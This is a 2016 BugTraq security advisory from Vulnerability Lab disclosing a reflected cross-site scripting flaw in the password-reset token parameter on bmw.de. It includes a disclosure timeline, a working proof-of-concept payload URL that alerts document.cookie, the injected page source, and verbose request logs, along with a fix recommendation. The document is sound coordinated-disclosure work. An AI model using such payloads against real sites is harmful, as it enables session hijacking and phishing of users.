BugTraq
BMW - (Token) Client Side Cross Site Scripting Vulnerability Jul 08 2016 08:27AM
Vulnerability Lab (research vulnerability-lab com)
Document Title:
===============
BMW - (Token) Client Side Cross Site Scripting Vulnerability

References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1737

Release Date:
=============
2016-07-06

Vulnerability Laboratory ID (VL-ID):
====================================
1737

Common Vulnerability Scoring System:
====================================
3.6

Product & Service Introduction:
===============================
Bayerische Motoren Werke AG - German for Bavarian Motor Works), usually known under its abbreviation BMW, is a German luxury automobile, motorcycle,
and engine manufacturing company founded in 1916. Headquartered in Munich, Bavaria, Germany, it also owns and produces Mini cars and serves as the
parent company of Rolls-Royce Motor Cars. BMW produces motorcycles under BMW Motorrad, and plug-in electric cars under the BMW i sub-brand. It is
one of the best-selling luxury automakers in the world. The company is a component of the Euro Stoxx 50 stock market index.

(Copy of the Vendor Homepage: https://en.wikipedia.org/wiki/BMW )

Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site scripting web vulnerability in the official BMW online service web-application.

Vulnerability Disclosure Timeline:
==================================
2016-02-17: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2016-02-18: Vendor Notification (BMW Security Team)
2016-04-02: Vendor Response/Feedback (BMW Security Team)
2016-07-06: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Medium

Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official BMW online service web-application.
The vulnerability allows remote attacker to inject own malicious script codes to the client-side of the affected module context.

The vulnerability is located in the `t` value (token) of the `passwordResetOk.html` web-application file. Remote attackers are able
to inject own client-side script codes to the `passwordResetOk.html` file. the request method to inject is GET and the vulnerability
is located on the client-side of the affected bmw web-service. The attacker injects the payload after the secure token to execute the
context in the passwordResetOk.html file. The vulnerability is a classic client-side cross site scripting web vulnerability.

The security risk of the non-persistent vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6.
Exploitation of the persistent input validation web vulnerability requires no privileged web-application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects to malicious
source and non-persistent manipulation of affected or connected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./de/publicPools/landingPages/

Vulnerable File(s):
[+] passwordResetOk.html

Vulnerable Parameter(s):
[+] t (token)

Affected Module(s):
[+] Password Reset Function

Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction (click|link).
For security demonstration or to reproduce the client-side cross site scripting web vulnerability follow the provided information and steps below to continue.

PoC: Payload
https://www.bmw.de/de/publicPools/landingPages/passwordResetOk.html?t=Oi
WU9ARpVXDXDjlRJ3tS6XxgnOvkFzRK%22%3E%3C[CLIENT SIDE SCRIPT CODE INJECT!]iframe%20src=a%20onload=alert%28document.cookie%29%20%3C

PoC: Source - resetpasswordMain (t=)
<div class="resetpasswordMain">
<div class="resetpasswordHeadlineContent resetpasswordContent">
<div class="headline parbase headlineColor base resetpasswordMainHeadline">
<h1 id="HeadlineColord8dcc58d2d76c0583906abb15bd57c27" class="headlineNormal headlineDarkGrey ">Ihr neues Passwort für Mein BMW.</h1></div>
<div class="headline resetpasswordMainSubheadline parbase headlineColor base">
<h3 id="HeadlineColora3be466af12d8b02db081f15ddf8c61f" class="headlineNormal headlineDarkGrey ">Legen Sie hier Ihr neues Passwort fest.</h3></div>
</div>
<fieldset class="copyText resetpasswordFields componentSetFormInputArea">
<input id="Passwordreset4041967ae0273887df5ec8cd5adcc2c5token"
value="OiWU9ARpVXDXDjlRJ3tS6XxgnOvkFzRK" type="hidden">[CLIENT SIDE SCRIPT CODE EXECUTION!]<iframe src="a" onload="alert(document.cookie)" <"="">
<div class="componentSetEditAreaNewRow">
<label for="Passwordreset4041967ae0273887df5ec8cd5adcc2c5password" class="componentSetFormInputLabel">Neues Passwort*</label><input type="password"
class="componentSetInputTxt componentSetHasRightInfoIcon password required" id="Passwordreset4041967ae0273887df5ec8cd5adcc2c5password"
name="passwordResetPassword"/><span class="myBMW-tooltip"><div class="tooltipComp"><div class="componentSetInstantCheck"><div class="parbase base instantCheck">
<div class="instant-check">
<p class="headline">Ihr Passwort muss die folgenden Bestandteile haben:</p>
<ul>
<li class="length">Mindestens 8 Zeichen</li>
<li class="minimum">Mindestens 2 dieser 3 Gruppen</li>
<li class="no-list">
<ul class ="innerul">
<li class="letters">Buchstaben<br/>(abc = ABC, nicht Ã?Ã?Ã?)</li>
<li class="numbers">Ziffern</li>
<li class="specials">Sonderzeichen<br/>,.+-()@:;*</li>
</ul>
</li>
</ul>
</div></div>
</div></div>

--- PoC Session Logs ---
Status: pending[]
GET https://www.bmw.de/de/publicPools/landingPages/passwordResetOk.html?t=Oi
WU9ARpVXDXDjlRJ3tS6XxgnOvkFzRK%22%3E%3Ciframe%20src=a%20onload=alert(doc
ument.cookie)%20%3C Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Grö�e des Inhalts[unknown] Mime Type[unknown]
Request Header:
Host[www.bmw.de]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate, br]
Cookie[_=digitalv25; bw=5000Kbps+; consentCookie=%7B%22timestamp%22%3A1405786130053%2C%22consentFirst%22%3A
%22ACCEPTED%22%2C%22consentThird%22%3A%22ACCEPTED%22%7D; languageCookie=de; visitorid=2d98116044640000a69ac5562c030000c8000000; s_fid=4ECAF51566D8ECCD-347548FD67B7DA07; s_cc=true; vee24.testCookie=1; bmwdtm_sid=G1IA191419; v24u_ipremiumservicegmbh=fac51fe1-5a11-48d3-b5b3-3ee11278d107; v24s_ipremiumservicegmbh=9bc46aa0-7204-40e4-98e8-3ac1efcd6e11; vee24.autoNudgeRules=1:1455790787942|1:1455790911094; vee24.userIsActive=1; vee24.numberOfNudgesShown=2; vee24.nudgeReceived.timeout=; vee24.nudgeReceived.timestamp=; vee24.noThanks=1; FieldsetformsFormFieldSetsCurrentVehicleFSComponent=N4IgRgTghgdgJiAXKApj
KYA2KGIC4QCuKANCAG5SbFIgBCAsgOogC%2BZAzihAJYodJU6LDiQFiZStRS0AogA4AjGzIB
bAPZwUmQSDQZsucaQpUaiEIoAKi5exA8YPAigDmAfQ0w8AC136RIyITKXMQAAY7MkdnCDd3A
E8UKAh%2FYUMxYMkzGQsAJkiAVjZWIAA; FieldsetformsFormFieldSetsNumberFamilyMembersFSComponent=N4IgdgrgtgRgpgJ
wGIEMoEsA2BPAsnWRAZxAC5Q4wUZM4ATMgFwQjgBoQA3FTVskACwgAvsKAAA%3D; FieldsetformsFormFieldSetsNumberCarsInHouseholdFSComponent=N4IgdgrgtgRgp
gJwM4GECGyCSYASB7CJOACzwBsATEALlDjDRjLiuoBcEI4AaEANzRkuNEABYQAXwlAA; FieldsetformsFormFieldSetsHobbiesFSComponent=N4IgrgzgpgTg%2BgCwPYCMUEsoT
gaygTzgHEB5AGQDEQAuUKAOwEMUAbKAExoBcYwoAaEAGMEUIXk7UefAL6DIsRKgxZcBOAGUS
AOQ0AVAJJEAohpp0mrDt14Dho8deoAzRi2hzw0eMjSZseIQUAIIAEgBK4cEAIiERxtrmIAzM
bJLSdiJiEjay8t5KfqqBcACyJHok4RoAClV6SSlW6baCWY4teV6KvioB6gDqwRoaxtV14Q20
yZZpuZkOOVK2ngo%2Byv5qhHoJ2gZm001zy3xti04ZqwW9myUaANL7E1MWqRet9tnvsjJAA%
3D%3D; FieldsetformsFormFieldSetsPersonalDataFSComponent=N4IgrgzgpgTg%2BgBxgewG
YEsA2U4QIaZgAueR6yAdnAGIBKAggKogBcoUFeARtgCatEYYKABoQAYwAWUcQGso%2FFqgLQ
AvmMixEKDNlwFipclQASAUVq1W7TjwUChoidLn2Wg4epBki2ayA5uPgdhMQA3AyhWEAARKy8
MGAgiTgBbKLYA22D3R3DI6Ji8VPQ8ChAvTDxktIybILcPJwjCDJAAIRQAdwp0CgBzCArVIAA
A%3D; FieldsetformsFormFieldSetsBirthdayFSComponent=N4IgJghgniBcoFMB2EBGAbBY4B
cBOArggDQgBuE6RcIADAEwgC%2BpAtgPZI4AWciKGLLkIlylarDoBmZqSgIIePiGRpM2WPiK
kKVBDQCMATgAcMpkyAA%3D; FieldsetformsFormFieldSetsAddressRefFSComponent=N4IgrgzgpgTg%2BgBxgewGYE
sA2U4EMAm%2BMUE0EcADHHocaQMoAuujkcACgEoCSAagIIAVAKIgAXKCgA7XACNs%2BcYxhg
oAGhABjABZRNAayiKxqXJmgBfDZFiIUGbDSIkylagWcNmrcgCEAqvTcAHLC9PTikjLyRkoq6
lq6BrFiyqpWWsgAtgi4UgCewbhZUJEg0nIKcaoaAG5mquIguBD4LYoZCMgQzJgAwsj4pRLl0
VWp8XUNwyAAzAAsAEzzAGwgGZrojPllFTHGaQn1mI1iILxQmJhZuDDrGj3EUIy7YymHUyczv
sQlMI8taD3EDaZA2YJgLKyWCvSrvSYgY6nOaLYGaMFSZT5ODQbCaF4jPbjD6I6ZNAAiogsFi
AAAA%3D%3D; FieldsetformsFormFieldSetsCommunicationsFSComponent=N4IgDgFg9gdgpiAXKOMC
GAjANnAJkgFwCcBXOAGhADc0sykQAmAZgBYBGRjrz1kAX0pwAtmgCWWJCnTY8hUhWq16iEBg
DWwgAJwqUOgTGwAtAGc4AYwB0FqMIH8gAA%3D%3D; FieldsetformsFormFieldSetsPlannedPurchaseFSComponent=N4IgDgNghgdjCmATACg
VwE4GMAWUDO8IAXKPDFAEYRLEAu6q8ANCAG5QSPEgBMADAEYAnAFo%2BPMQIAqfPkVny%2BI
AL7KgAA%3D%3D]
-
Status: 200[OK]
GET https://www.bmw.de/de/publicPools/landingPages/a[CLIENT SIDE SCRIPT CODE EXECUTION!] Load Flags[LOAD_DOCUMENT_URI ] Grö�e des Inhalts[93] Mime Type[text/html]
Request Header:
Host[www.bmw.de]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate, br]
Referer[https://www.bmw.de/de/publicPools/landingPages/passwordResetOk.h
tml?t=OiWU9ARpVXDXDjlRJ3tS6XxgnOvkFzRK%22%3E%3Ciframe%20src=a%20onload=a
lert(document.cookie)%20%3C]
Cookie[_=digitalv25; bw=5000Kbps+; consentCookie=%7B%22timestamp%22%3A1405786130053%2C%22consentFirst%22%3A
%22ACCEPTED%22%2C%22consentThird%22%3A%22ACCEPTED%22%7D; languageCookie=de; visitorid=2d98116044640000a69ac5562c030000c8000000; s_fid=4ECAF51566D8ECCD-347548FD67B7DA07; s_cc=true; vee24.testCookie=1; bmwdtm_sid=G1IA191419; v24u_ipremiumservicegmbh=fac51fe1-5a11-48d3-b5b3-3ee11278d107; v24s_ipremiumservicegmbh=9bc46aa0-7204-40e4-98e8-3ac1efcd6e11; vee24.autoNudgeRules=1:1455790787942|1:1455790911094; vee24.userIsActive=1; vee24.numberOfNudgesShown=2; vee24.nudgeReceived.timeout=; vee24.nudgeReceived.timestamp=; vee24.noThanks=1; FieldsetformsFormFieldSetsCurrentVehicleFSComponent=N4IgRgTghgdgJiAXKApj
KYA2KGIC4QCuKANCAG5SbFIgBCAsgOogC%2BZAzihAJYodJU6LDiQFiZStRS0AogA4AjGzIB
bAPZwUmQSDQZsucaQpUaiEIoAKi5exA8YPAigDmAfQ0w8AC136RIyITKXMQAAY7MkdnCDd3A
E8UKAh%2FYUMxYMkzGQsAJkiAVjZWIAA; FieldsetformsFormFieldSetsNumberFamilyMembersFSComponent=N4IgdgrgtgRgpgJ
wGIEMoEsA2BPAsnWRAZxAC5Q4wUZM4ATMgFwQjgBoQA3FTVskACwgAvsKAAA%3D; FieldsetformsFormFieldSetsNumberCarsInHouseholdFSComponent=N4IgdgrgtgRgp
gJwM4GECGyCSYASB7CJOACzwBsATEALlDjDRjLiuoBcEI4AaEANzRkuNEABYQAXwlAA; FieldsetformsFormFieldSetsHobbiesFSComponent=N4IgrgzgpgTg%2BgCwPYCMUEsoT
gaygTzgHEB5AGQDEQAuUKAOwEMUAbKAExoBcYwoAaEAGMEUIXk7UefAL6DIsRKgxZcBOAGUS
AOQ0AVAJJEAohpp0mrDt14Dho8deoAzRi2hzw0eMjSZseIQUAIIAEgBK4cEAIiERxtrmIAzM
bJLSdiJiEjay8t5KfqqBcACyJHok4RoAClV6SSlW6baCWY4teV6KvioB6gDqwRoaxtV14Q20
yZZpuZkOOVK2ngo%2Byv5qhHoJ2gZm001zy3xti04ZqwW9myUaANL7E1MWqRet9tnvsjJAA%
3D%3D; FieldsetformsFormFieldSetsPersonalDataFSComponent=N4IgrgzgpgTg%2BgBxgewG
YEsA2U4QIaZgAueR6yAdnAGIBKAggKogBcoUFeARtgCatEYYKABoQAYwAWUcQGso%2FFqgLQ
AvmMixEKDNlwFipclQASAUVq1W7TjwUChoidLn2Wg4epBki2ayA5uPgdhMQA3AyhWEAARKy8
MGAgiTgBbKLYA22D3R3DI6Ji8VPQ8ChAvTDxktIybILcPJwjCDJAAIRQAdwp0CgBzCArVIAA
A%3D; FieldsetformsFormFieldSetsBirthdayFSComponent=N4IgJghgniBcoFMB2EBGAbBY4B
cBOArggDQgBuE6RcIADAEwgC%2BpAtgPZI4AWciKGLLkIlylarDoBmZqSgIIePiGRpM2WPiK
kKVBDQCMATgAcMpkyAA%3D; FieldsetformsFormFieldSetsAddressRefFSComponent=N4IgrgzgpgTg%2BgBxgewGYE
sA2U4EMAm%2BMUE0EcADHHocaQMoAuujkcACgEoCSAagIIAVAKIgAXKCgA7XACNs%2BcYxhg
oAGhABjABZRNAayiKxqXJmgBfDZFiIUGbDSIkylagWcNmrcgCEAqvTcAHLC9PTikjLyRkoq6
lq6BrFiyqpWWsgAtgi4UgCewbhZUJEg0nIKcaoaAG5mquIguBD4LYoZCMgQzJgAwsj4pRLl0
VWp8XUNwyAAzAAsAEzzAGwgGZrojPllFTHGaQn1mI1iILxQmJhZuDDrGj3EUIy7YymHUyczv
sQlMI8taD3EDaZA2YJgLKyWCvSrvSYgY6nOaLYGaMFSZT5ODQbCaF4jPbjD6I6ZNAAiogsFi
AAAA%3D%3D; FieldsetformsFormFieldSetsCommunicationsFSComponent=N4IgDgFg9gdgpiAXKOMC
GAjANnAJkgFwCcBXOAGhADc0sykQAmAZgBYBGRjrz1kAX0pwAtmgCWWJCnTY8hUhWq16iEBg
DWwgAJwqUOgTGwAtAGc4AYwB0FqMIH8gAA%3D%3D; FieldsetformsFormFieldSetsPlannedPurchaseFSComponent=N4IgDgNghgdjCmATACg
VwE4GMAWUDO8IAXKPDFAEYRLEAu6q8ANCAG5QSPEgBMADAEYAnAFo%2BPMQIAqfPkVny%2BI
AL7KgAA%3D%3D]
Connection[keep-alive]
Response Header:
Server[Apache]
Cache-Control[must-revalidate, max-age=6541, public]
Expires[Thu, 18 Feb 2016 12:26:40 GMT]
Content-Length[93]
Content-Type[text/html; charset=utf-8]
Date[Thu, 18 Feb 2016 10:37:39 GMT]
Connection[keep-alive]
X-N[S]

-
Cookie:
_=digitalv25; bw=5000Kbps+; consentCookie=%7B%22timestamp%22%3A1405786130053%2C%22consentFirst%22%3A
%22ACCEPTED%22%2C%22consentThird%22%3A%22ACCEPTED%22%7D; languageCookie=de; visitorid=2d98116044640000a69ac5562c030000c8000000; s_fid=4ECAF51566D8ECCD-347548FD67B7DA07; s_cc=true; vee24.testCookie=1; bmwdtm_sid=G1IA191419; v24u_ipremiumservicegmbh=fac51fe1-5a11-48d3-b5b3-3ee11278d107; v24s_ipremiumservicegmbh=9bc46aa0-7204-40e4-98e8-3ac1efcd6e11; vee24.autoNudgeRules=1:1455790787942|1:1455790911094; vee24.userIsActive=1; vee24.numberOfNudgesShown=2; vee24.nudgeReceived.timeout=; vee24.nudgeReceived.timestamp=; vee24.noThanks=1; FieldsetformsFormFieldSetsCurrentVehicleFSComponent=N4IgRgTghgdgJiAXKApj
KYA2KGIC4QCuKANCAG5SbFIgBCAsgOogC%2BZAzihAJYodJU6LDiQFiZStRS0AogA4AjGzIB
bAPZwUmQSDQZsucaQpUaiEIoAKi5exA8YPAigDmAfQ0w8AC136RIyITKXMQAAY7MkdnCDd3A
E8UKAh%2FYUMxYMkzGQsAJkiAVjZWIAA; FieldsetformsFormFieldSetsNumberFamilyMembersFSComponent=N4IgdgrgtgRgpgJ
wGIEMoEsA2BPAsnWRAZxAC5Q4wUZM4ATMgFwQjgBoQA3FTVskACwgAvsKAAA%3D; FieldsetformsFormFieldSetsNumberCarsInHouseholdFSComponent=N4IgdgrgtgRgp
gJwM4GECGyCSYASB7CJOACzwBsATEALlDjDRjLiuoBcEI4AaEANzRkuNEABYQAXwlAA; FieldsetformsFormFieldSetsHobbiesFSComponent=N4IgrgzgpgTg%2BgCwPYCMUEsoT
gaygTzgHEB5AGQDEQAuUKAOwEMUAbKAExoBcYwoAaEAGMEUIXk7UefAL6DIsRKgxZcBOAGUS
AOQ0AVAJJEAohpp0mrDt14Dho8deoAzRi2hzw0eMjSZseIQUAIIAEgBK4cEAIiERxtrmIAzM
bJLSdiJiEjay8t5KfqqBcACyJHok4RoAClV6SSlW6baCWY4teV6KvioB6gDqwRoaxtV14Q20
yZZpuZkOOVK2ngo%2Byv5qhHoJ2gZm001zy3xti04ZqwW9myUaANL7E1MWqRet9tnvsjJAA%
3D%3D; FieldsetformsFormFieldSetsPersonalDataFSComponent=N4IgrgzgpgTg%2BgBxgewG
YEsA2U4QIaZgAueR6yAdnAGIBKAggKogBcoUFeARtgCatEYYKABoQAYwAWUcQGso%2FFqgLQ
AvmMixEKDNlwFipclQASAUVq1W7TjwUChoidLn2Wg4epBki2ayA5uPgdhMQA3AyhWEAARKy8
MGAgiTgBbKLYA22D3R3DI6Ji8VPQ8ChAvTDxktIybILcPJwjCDJAAIRQAdwp0CgBzCArVIAA
A%3D; FieldsetformsFormFieldSetsBirthdayFSComponent=N4IgJghgniBcoFMB2EBGAbBY4B
cBOArggDQgBuE6RcIADAEwgC%2BpAtgPZI4AWciKGLLkIlylarDoBmZqSgIIePiGRpM2WPiK
kKVBDQCMATgAcMpkyAA%3D; FieldsetformsFormFieldSetsAddressRefFSComponent=N4IgrgzgpgTg%2BgBxgewGYE
sA2U4EMAm%2BMUE0EcADHHocaQMoAuujkcACgEoCSAagIIAVAKIgAXKCgA7XACNs%2BcYxhg
oAGhABjABZRNAayiKxqXJmgBfDZFiIUGbDSIkylagWcNmrcgCEAqvTcAHLC9PTikjLyRkoq6
lq6BrFiyqpWWsgAtgi4UgCewbhZUJEg0nIKcaoaAG5mquIguBD4LYoZCMgQzJgAwsj4pRLl0
VWp8XUNwyAAzAAsAEzzAGwgGZrojPllFTHGaQn1mI1iILxQmJhZuDDrGj3EUIy7YymHUyczv
sQlMI8taD3EDaZA2YJgLKyWCvSrvSYgY6nOaLYGaMFSZT5ODQbCaF4jPbjD6I6ZNAAiogsFi
AAAA%3D%3D; FieldsetformsFormFieldSetsCommunicationsFSComponent=N4IgDgFg9gdgpiAXKOMC
GAjANnAJkgFwCcBXOAGhADc0sykQAmAZgBYBGRjrz1kAX0pwAtmgCWWJCnTY8hUhWq16iEBg
DWwgAJwqUOgTGwAtAGc4AYwB0FqMIH8gAA%3D%3D; FieldsetformsFormFieldSetsPlannedPurchaseFSComponent=N4IgDgNghgdjCmATACg
VwE4GMAWUDO8IAXKPDFAEYRLEAu6q8ANCAG5QSPEgBMADAEYAnAFo%2BPMQIAqfPkVny%2BI
AL7KgAA%3D%3D

Reference(s):
https://www.bmw.de/
https://www.bmw.de/de/
https://www.bmw.de/de/publicPools/
https://www.bmw.de/de/publicPools/landingPages/
https://www.bmw.de/de/publicPools/landingPages/passwordResetOk.html

Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the `t` value (token) in the `` web-application file.
Restrict the input and disallow special chars to prevent client-side script code injection attacks in the reset account function.
Setup a secure token that is approved after the redirect to disallow client-side attacks against the reset token.

Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the token value of the reset function is estimated as medium. (CVSS 3.6)

Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research (at) vulnerability-lab (dot) com [email concealed]) [www.vulnerability-lab.com]

Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin (at) vulnerability-lab (dot) com [email concealed] - research (at) vulnerability-lab (dot) com [email concealed] - admin (at) evolution-sec (dot) com [email concealed]
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin (at) vulnerability-lab (dot) com [email concealed] or research (at) vulnerability-lab (dot) com [email concealed]) to get a permission.

Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]�

--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research (at) vulnerability-lab (dot) com [email concealed]

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus